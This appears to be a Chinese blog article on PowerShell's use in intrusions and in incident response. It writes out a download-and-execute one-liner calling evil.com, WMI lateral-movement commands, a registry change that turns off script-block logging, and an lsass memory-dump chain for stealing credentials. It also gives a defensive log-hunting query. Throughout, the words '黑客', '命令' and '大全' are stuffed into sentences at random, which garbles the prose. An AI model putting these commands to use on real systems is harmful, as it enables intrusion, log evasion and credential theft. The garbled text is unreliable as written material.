PowerShell:黑客的命令瑞士军刀,也是大全蓝队的照妖镜
别被“命令大全”这种标题骗了。真正的黑客黑客不背命令,他们只记逻辑。命令PowerShell的大全可怕之处在于:它既是Windows的原生组件,又能直接调用.NET框架——这意味着攻击者不需要上传任何exe,黑客纯靠系统自带工具就能完成渗透、命令提权、大全横向移动。黑客红队圈有句话:“如果目标机没装PowerShell,命令那它根本不值得打。大全”
先看一个最经典的黑客例子。攻击者拿到一个低权限shell,命令想快速摸清域内情况,大全一行命令就够:
powershell -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/script.ps1')"
这行代码干了三件事:绕过执行策略、黑客远程下载脚本、直接内存运行。受害者的杀毒软件看着这串字符,就像看一个正常管理员在更新组策略。更骚的是,有些变种会把payload拆成几十个Base64片段,分多次请求拼接,流量特征完全隐形。
提权阶段,PowerShell更是把“滥用系统功能”玩到了极致。比如检测未引用的服务路径:
wmic service get name,displayname,pathname | findstr /i "C:\Program Files"
配合PowerShell的管道处理,攻击者能在几秒内遍历所有可写目录。我见过一个真实案例:某公司内网服务器装了打印管理软件,服务路径没加引号且目录可写,攻击者扔了个伪造的“print.exe”进去,重启服务直接拿下SYSTEM。全程没用任何漏洞,全是Windows自己留下的“后门”。
横向移动才是PowerShell的主场。老套的PsExec早就过时了,现在高手都用Invoke-Mimikatz配合WMI远程执行:
Invoke-WmiMethod -ComputerName target -Credential $cred -Class Win32_Process -Name Create -ArgumentList "powershell -enc ..."
这招的高明之处在于:它走的是WMI的135端口,和日常管理流量混在一起。防守方如果只盯着445端口的SMB日志,根本抓不到。更恶心的是,攻击者还能用PowerShell把命令记录功能关掉——Set-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell -Name ScriptBlockLogging -Value 0——然后大摇大摆地操作,留下满地的日志空白。
但别以为PowerShell只是黑客的玩具。蓝队用起它来,杀伤力更大。真正的应急响应高手,遇到可疑进程第一反应不是上工具,而是先跑一条命令:
Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} | Where-Object { $_.Message -match 'IEX|DownloadString|FromBase64'} | Select-Object -First 20
这能直接揪出所有尝试远程加载脚本的行为。我处理过一起勒索软件事件,攻击者就是用PowerShell下载的Cobalt Strike,但日志里4104事件把整个payload的Base64内容都记录下来了——解出来一看,连攻击者用的C2服务器地址都写得明明白白。
说到这儿就得泼盆冷水。网上那些“PowerShell黑客命令大全”多半是唬人的——真正的攻击链从来不是单条命令,而是几十条命令的组合拳。比如典型的入侵流程:先用Get-Process lsass找到目标进程,再用MiniDump导出内存,接着用Out-Minidump把哈希值传到本地破解。每一步都干净利落,但串联起来就是完整的域管沦陷。所以别指望背几条命令就能当黑客,PowerShell的精髓在于理解Windows的信任边界——它把所有管理接口都暴露给你,至于你用它修电脑还是偷密码,那是道德问题,不是技术问题。
最后说个冷知识:PowerShell 7已经跨平台了,Linux和macOS也能跑。这意味着攻击面早就超出了Windows服务器——现在连Docker容器里的.NET应用都可能成为入口。下次你看到一条长长的pwsh -c命令在云主机上执行时,先想想它是运维在修bug,还是有人在挖你的AK/SK。毕竟,工具永远中性,但用工具的人,从来都不无辜。